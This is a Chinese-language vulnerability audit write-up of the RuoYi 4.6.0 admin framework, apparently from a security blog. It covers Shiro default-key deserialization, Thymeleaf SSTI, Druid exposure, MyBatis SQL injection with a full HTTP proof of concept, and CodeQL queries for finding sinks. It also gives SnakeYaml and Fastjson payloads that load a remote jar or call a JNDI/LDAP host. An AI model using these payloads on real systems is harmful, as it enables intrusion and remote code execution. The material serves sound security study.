ruoyi-4.6.0漏洞

环境搭建

https://gitee.com/y_project/RuoYi

我先选择的4.6版本

mysql创建数据库:

1
2
3
4
CREATE DATABASE ry CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
use ry;
source /Users/lnhsec/Desktop/Lnh/Vuln_Analysis/RuoYi-v4.6.0/sql/quartz.sql
source /Users/lnhsec/Desktop/Lnh/Vuln_Analysis/RuoYi-v4.6.0/sql/ry_20201214.sql

/RuoYi-v4.6.0/ruoyi-admin/src/main/resources​的application-druid.yml​、application.yml​修改mysql账户密码, 访问端口, 在logback.xml​修改日志目录

然后在/RuoYi-v4.6.0/ruoyi-admin/src/main/java/com/ruoyi/RuoYiApplication​运行即可, 这样方便调试

或者使用maven打包为jar, 然后运行java -jar ruoyi-admin.jar​即可

若依项目结构

  • ruoyi-admin 启动模块,启动配置在resource的yml下
  • ruoyi-framework 主题框架模块,框架怎么运行的仔细看看,这个是核心重点
  • ruoyi-system 业务模块,几乎所有业务都在这里
  • ruoyi-quartz 定时任务模块,跑的定时任务基本都在这里
  • ruoyi-generator 基础公共表的操作,相当于基础表和基础业务存放位置
  • ruoyi-common 公共代码模块,list转set什么的一般放这里,自己不要瞎写方法,公共的都放这里

pom.xml​审计

image

存在一些出现过问题的组件, shiro、fastjson、swagger、thymeleaf、druid等; 对于这种项目结构的项目, 最好把每个子项目的pom文件也去翻一遍(ruoyi-common​中也有snakeyaml​)

Shiro组件

Shiro反序列化(RuoYi<V-4.6.2)

漏洞原理: Shiro​将用户认证信息存储到remeberme​字段中, 后端读取该字段是将该字段在服务器反序列化。

虽然shiro使用了AES加密remeberme字段信息, 但是由于shiro-1.2.4​版本在依赖jar中硬编码该密钥, 因此使用shiro-1.2.4​版本的系统则可以通过该密钥解密remeberme字段数据, 在remeberme字段中写入恶意的类, 即shiro550​漏洞的原理。

1.2.5版本以后shiro提供了AES密钥的随机生成代码, 但是如果仅进行shiro的版本升级, AES密钥仍硬编码在代码中, 仍然会存在反序列化风险。

image

可以反序列化, 但没链子

在白盒可以直接搜索setCipherKey​, 如果存在, 那就说明使用了默认key的, 可以全局搜索cipherKey​查看key值

修复方式

支持动态生成密匙,防止默认密钥泄露

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    /**
     * 记住我
     */
    public CustomCookieRememberMeManager rememberMeManager()
    {
        CustomCookieRememberMeManager cookieRememberMeManager = new CustomCookieRememberMeManager();
        cookieRememberMeManager.setCookie(rememberMeCookie());
        if (StringUtils.isNotEmpty(cipherKey))
        {
            cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
        }
        else
        {
            cookieRememberMeManager.setCipherKey(CipherUtils.generateNewKey(128, "AES").getEncoded());
        }
        return cookieRememberMeManager;
    }

第一,通过如下链接就可以查看这个版本修复了哪些 ISSUES, 方便定位。

https://issues.apache.org/jira/issues/?jql=project%20%3D%20SHIRO%20AND%20fixVersion%20%3D%201.5.2

第二,通过 diff 版本来查看差异代码分析漏洞, 语法如下。

https://github.com/用户名/项目/compare/TAG名…TAG名

例如:https://github.com/apache/shiro/compare/shiro-root-1.7.0…shiro-root-1.7.1

小疑问

有被动扫描可以发现登陆界面是否存在shiro组件的插件么, 因为不是每次访问都要去开burp查看流量, 可能在黑盒就会漏掉shiro反序列化漏洞

Shiro权限绕过

因为查看shiro版本是存在权限绕过漏洞的

CVE编号 漏洞说明 漏洞版本
CVE-2016-6802 Context Path 路径标准化导致绕过 shrio <1.3.2
CVE-2020-1957 Spring 与 Shiro 对于 “/” 和 “;” 处理差异导致绕过 Shiro <= 1.5.1
CVE-2020-11989 Shiro 二次解码导致的绕过以及 ContextPath 使用 “;” 的绕过 shiro < 1.5.3
CVE-2020-13933 由于 Shiro 与 Spring 处理路径时 URL 解码和路径标准化顺序不一致 导致的使用 “%3b” 的绕过 shiro < 1.6.0
CVE-2020-17510 由于 Shiro 与 Spring 处理路径时 URL 解码和路径标准化顺序不一致 导致的使用 “%2e” 的绕过 Shiro < 1.7.0
CVE-2020-17523 Shiro 匹配鉴权路径时会对分隔的 token 进行 trim 操作 导致的使用 “%20” 的绕过 Shiro <1.7.1

这时就要去看项目中对权限配置的地方, 是否有可利用的点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager)
    {
        ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
        // Shiro的核心安全接口,这个属性是必须的
        shiroFilterFactoryBean.setSecurityManager(securityManager);
        // 身份认证失败,则跳转到登录页面的配置
        shiroFilterFactoryBean.setLoginUrl(loginUrl);
        // 权限认证失败,则跳转到指定页面
        shiroFilterFactoryBean.setUnauthorizedUrl(unauthorizedUrl);
        // Shiro连接约束配置,即过滤链的定义
        LinkedHashMap<String, String> filterChainDefinitionMap = new LinkedHashMap<>();
        // 对静态资源设置匿名访问
        filterChainDefinitionMap.put("/favicon.ico**", "anon");
        filterChainDefinitionMap.put("/ruoyi.png**", "anon");
        filterChainDefinitionMap.put("/css/**", "anon");
        filterChainDefinitionMap.put("/docs/**", "anon");
        filterChainDefinitionMap.put("/fonts/**", "anon");
        filterChainDefinitionMap.put("/img/**", "anon");
        filterChainDefinitionMap.put("/ajax/**", "anon");
        filterChainDefinitionMap.put("/js/**", "anon");
        filterChainDefinitionMap.put("/ruoyi/**", "anon");
        filterChainDefinitionMap.put("/captcha/captchaImage**", "anon");
        // 退出 logout地址,shiro去清除session
        filterChainDefinitionMap.put("/logout", "logout");
        // 不需要拦截的访问
        filterChainDefinitionMap.put("/login", "anon,captchaValidate");
        // 注册相关
        filterChainDefinitionMap.put("/register", "anon,captchaValidate");
        // 系统权限列表
        // filterChainDefinitionMap.putAll(SpringUtils.getBean(IMenuService.class).selectPermsAll());

        Map<String, Filter> filters = new LinkedHashMap<String, Filter>();
        filters.put("onlineSession", onlineSessionFilter());
        filters.put("syncOnlineSession", syncOnlineSessionFilter());
        filters.put("captchaValidate", captchaValidateFilter());
        filters.put("kickout", kickoutSessionFilter());
        // 注销成功,则跳转到指定页面
        filters.put("logout", logoutFilter());
        shiroFilterFactoryBean.setFilters(filters);

        // 所有请求需要认证
        filterChainDefinitionMap.put("/**", "user,kickout,onlineSession,syncOnlineSession");
        shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);

        return shiroFilterFactoryBean;
    }

这里对除静态资源可以通过匿名访问, 其他任何路径都需要认证才能访问, 这就导致了不存在权限绕过漏洞

Thymeleaf

因为看到Thymeleaf依赖版本是在漏洞版本, 原理可以看之前的文章

因为若依这个项目的都采用的是@Controller​注解, 现在就是要去找可用的controller​(即返回值可控的)

我们关注两点:

  1. URL 路径可控
  2. return 内容可控

编写codeql缩小范围

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import java

class AllControllerMethod extends Callable {
    AllControllerMethod() {
        this.getReturnType().toString() = "String" and
        this.getDeclaringType().getASupertype*().getQualifiedName().matches("%Controller")
    }
}

from AllControllerMethod acm
select acm.getParameter(0)

image

可以发现/monitor/cache/getNames​可以post一个fragment​, 从而触发SSTI

image

但还是需要登录

当然这里还是无回显的, 可以打内存马, 但是通过模版注入打内存马暂时没看, 也不想看, 遇到实际场景或者需要的时候再学即可

druid泄漏

挂xray就可以检测出来

image

正常的来说, 这个页面是需要登陆的, 而在我们登陆若依后, 访问的时候就直接访问到了, 对于swaggerui也是

image

SQL注入

若依采用的是mybatis​方式去与数据库交互的, 可以先看下ruoyi怎么配置mybatis的

ruoyi中关于mybatis的相关配置在application.yml​文件中:

1
2
3
4
5
6
7
8
# MyBatis
mybatis:
    # 搜索指定包别名
    typeAliasesPackage: com.ruoyi.**.domain
    # 配置mapper的扫描,找到所有的mapper.xml映射文件
    mapperLocations: classpath*:mapper/**/*Mapper.xml
    # 加载全局的配置文件
    configLocation: classpath:mybatis/mybatis-config.xml

所以全部的sql语句都在mapper/**/*Mapper.xml​下

简单粗暴的方法,遍历所有classpath:mapper/**/*Mapper.xml​文件, 因为它的配置文件都是在resources​目录下, 就可以直接搜索${}​, 只看resources​目录下的, 这样就减少了大量的log、字符串常量、XML描述符的部分

image

例如:

1
2
3
4
5
6
7
8
9
	<update id="updateDeptStatus" parameterType="SysDept">
 	    update sys_dept
 	    <set>
 	        <if test="status != null and status != ''">status = #{status},</if>
 	        <if test="updateBy != null and updateBy != ''">update_by = #{updateBy},</if>
 	        update_time = sysdate()
        </set>
 	    where dept_id in (${ancestors})
	</update>

其实找到这里之后, ruoyi的sql注入就很ez了, 只需要往前找调用处即可找到Controller

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
@Log(title = "部门管理", businessType = BusinessType.UPDATE)
    @RequiresPermissions("system:dept:edit")
    @PostMapping("/edit")
    @ResponseBody
    public AjaxResult editSave(@Validated SysDept dept)
    {
        if (UserConstants.DEPT_NAME_NOT_UNIQUE.equals(deptService.checkDeptNameUnique(dept)))
        {
            return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在");
        }
        else if (dept.getParentId().equals(dept.getDeptId()))
        {
            return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己");
        }
        else if (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus())
                && deptService.selectNormalChildrenDeptById(dept.getDeptId()) > 0)
        {
            return AjaxResult.error("该部门包含未停用的子部门!");
        }
        dept.setUpdateBy(ShiroUtils.getLoginName());
        return toAjax(deptService.updateDept(dept));
    }

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /system/dept/edit HTTP/1.1
Host: 192.168.1.148:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.148:8888/login
Cookie: JSESSIONID=5753231a-95d6-4c1b-a8e5-79dec426774f
Content-Type: application/x-www-form-urlencoded

deptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

其他应该都可以利用的

codeql

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
 * @kind path-problem
 */

import java

class SqlMethod extends Callable {
    SqlMethod() {
        this.getName() = "selectDeptList" or
        this.getName() = "updateDeptStatus" or
        this.getName() = "selectRoleList" or
        this.getName() = "selectUserList" or
        this.getName() = "selectAllocatedList" or
        this.getName() = "selectUnallocatedList"
    }
}

class AllControllerMethod extends Callable {
    AllControllerMethod() {
        this.getDeclaringType().getASupertype*().getQualifiedName().matches("%Controller")
    }
}


// 定义一个调用图的边关系, 表示 a 可以调用 b
// 考虑了多态(polyCalls)的情况, 也就是说不仅考虑直接调用, 还考虑重载或实现关系的调用。
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from AllControllerMethod source, SqlMethod sink, Callable c
// 使用+, 表示在 edges 定义的调用图上做传递闭包
// 即从 source(Controller 方法)出发, 经由多个中间方法, 是否最终可以到达 c。
where edges+(source, c)
select sink, source, sink.getACallee(), "sql"

image

SnakeYaml

全局搜yaml

image

这里可以读取文件, 然后反序列化, 但是该方法并没有被调用

但是项目中有一个定时任务的功能

image

执行一次之后可以看见后端出现“执行无参方法”, 全局搜索

image

可以发现正是定时任务中写的ryTask.ryNoParams​, 那么这里就可以通过Bean调用或者Class调用来执行指定类及其方法

来一发java.lang.Runtime.getRuntime().exec("whoami")

image

看到private相关的错误, 找到JobInvokeUtil#invokeMethod

image

判断全限定类名是否合法, 合法就通过Bean调用, 否则利用Class反射调用, 但是这里没有获取Constructor​并设置setAccessible(true)​, 所以目标类具有非public的无参构造函数来实例化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
    private static void invokeMethod(Object bean, String methodName, List<Object[]> methodParams)
            throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException,
            InvocationTargetException
    {
        if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0)
        {
            Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
            method.invoke(bean, getMethodParamsValue(methodParams));
        }
        else
        {
            Method method = bean.getClass().getDeclaredMethod(methodName);
            method.invoke(bean);
        }
    }

目标类的目标方法因为没有setAccessible(true)​, 所以也需要是public, 因为在获取Method的时候指定了方法的参数的Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));​, 所以反射调用的方法不需要需要是无参的方法

所以Runtime类不符合, 可以使用Yaml反序列化

1
2
3
4
5
6
7
    public Yaml() {
        this(new Constructor(), new Representer(), new DumperOptions(), new LoaderOptions(), new Resolver());
    }

	public <T> T load(String yaml) {
        return (T)this.loadFromReader(new StreamReader(yaml), Object.class);
    }
1
2
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8080/yaml-payload.jar"]]]]')

Fastjson

全局搜索parseObject​方法

在业务层发现调用

image

1
2
3
4
5
6
7
8
    public Map<String, Object> getParams()
    {
        if (params == null)
        {
            params = new HashMap<>();
        }
        return params;
    }

反序列化的参数需要是map类型

查找方法在哪里调用

image

可以直接post, 直接post一个params发现有些其他字段不能为空, 依次添加即可

image

假如poc为:{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.0.107:1389/y0drfh"}

就需要改为下面的格式:

1
params[@type]=org.apache.shiro.jndi.JndiObjectFactory&params[@resourceName]=ldap://192.168.0.107:1389/y0drfh

image

但是4.6版本的fastjson版本比这个高, 需要找绕过的poc, 但其poc有嵌套结构, 还不知道如何转换为map的类型

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "ccc.4fhgzj.dnslog.cn"
  }
}
},
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "ddd.4fhgzj.dnslog.cn"
  }
}
}
]